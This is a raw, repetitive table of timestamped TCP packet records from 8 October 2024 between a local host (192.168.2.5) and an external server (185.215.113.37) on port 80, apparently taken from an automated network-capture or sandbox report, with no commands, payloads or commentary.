Oct 8, 2024 05:27:12.056859970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.056878090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.056893110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.056921005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.056937933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.056965113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.056998968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057030916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057049990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057065010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057075024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057100058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057125092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057132006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057151079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057166100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057188034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057198048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057214022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057230949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057243109 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057261944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057285070 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057296038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057302952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057329893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057362080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057363033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057372093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057395935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057404995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057430983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.057439089 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.057471991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073031902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073065042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073118925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073126078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073141098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073177099 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073204994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073240042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073251009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073273897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073281050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073314905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073319912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073343992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.073358059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.073386908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.108696938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.108747959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.108781099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.108782053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.108814001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.108828068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.108872890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.108923912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.108928919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.108979940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.108979940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109016895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109029055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109050989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109065056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109101057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109103918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109138966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109153986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109189034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109193087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109239101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109242916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109277010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109292030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109327078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109329939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109380007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109380960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109414101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109431028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109453917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109467030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109518051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109519005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109568119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109570026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109603882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109620094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109642029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109647036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109672070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109689951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109704971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109719992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109757900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109764099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109813929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109817982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109868050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109869957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109916925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109941959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.109993935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.109994888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110028982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110043049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110064983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110089064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110101938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110112906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110136986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110146999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110172987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110184908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110208035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110222101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110241890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110256910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110277891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110291958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110312939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110326052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110348940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110362053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110385895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110398054 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110426903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110435009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110461950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110475063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110497952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110516071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110538006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110549927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110575914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110585928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110610962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110625982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110646009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110662937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110682011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110692978 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110718012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110729933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110753059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110764980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110789061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110800028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110824108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110836983 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110861063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110872030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110896111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110908985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110930920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110943079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.110965967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.110979080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111013889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111032963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111069918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111084938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111103058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111109972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111134052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111151934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111171007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111186028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111207008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111219883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111241102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111253977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111277103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111289978 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111313105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111325026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111347914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111366034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111382008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111396074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111434937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111449003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111469030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111484051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111502886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111512899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111536980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111550093 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111573935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111584902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111608982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111622095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111644030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111656904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111676931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111692905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111713886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111721992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111748934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111762047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111783981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111797094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111816883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111833096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111851931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111862898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111886978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.111900091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.111933947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.144870043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.144923925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.144928932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.144968033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.144980907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145015001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145025015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145049095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145056963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145083904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145093918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145118952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145126104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145153999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145164967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145189047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145195961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145224094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145234108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145258904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145267010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145344019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145359039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145379066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145389080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145414114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145421982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145448923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145456076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145483971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145498037 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145519972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145526886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145565987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145570993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145622015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145631075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145665884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145682096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145699024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:12.145709991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.145730972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.430608034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:12.435481071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:13.152198076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:13.152437925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:13.479710102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:13.484620094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:14.197366953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:14.197437048 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:14.798199892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:14.878427029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:15.585185051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:15.585269928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:15.946257114 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:15.951162100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.166721106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.166773081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.166801929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.166809082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.166820049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.166843891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.166857004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.166882038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.166891098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.166913986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.166929960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.166956902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167650938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167701960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167706966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167741060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167747021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167776108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167788029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167812109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167824030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167846918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167857885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167882919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167896032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167920113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.167936087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.167968988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290424109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290462971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290498018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290549994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290568113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290568113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290568113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290587902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290827036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290859938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290883064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290903091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290910959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290946960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290962934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.290982008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.290994883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.291016102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.291030884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.291050911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.291064978 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.291085005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.291099072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.291132927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.294640064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294692993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294698954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.294727087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294738054 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.294773102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.294781923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294817924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294836044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.294862986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.294869900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294919968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:16.294919968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294953108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:16.294967890 CEST	49706	80	192.168.2.5	185.215.113.37
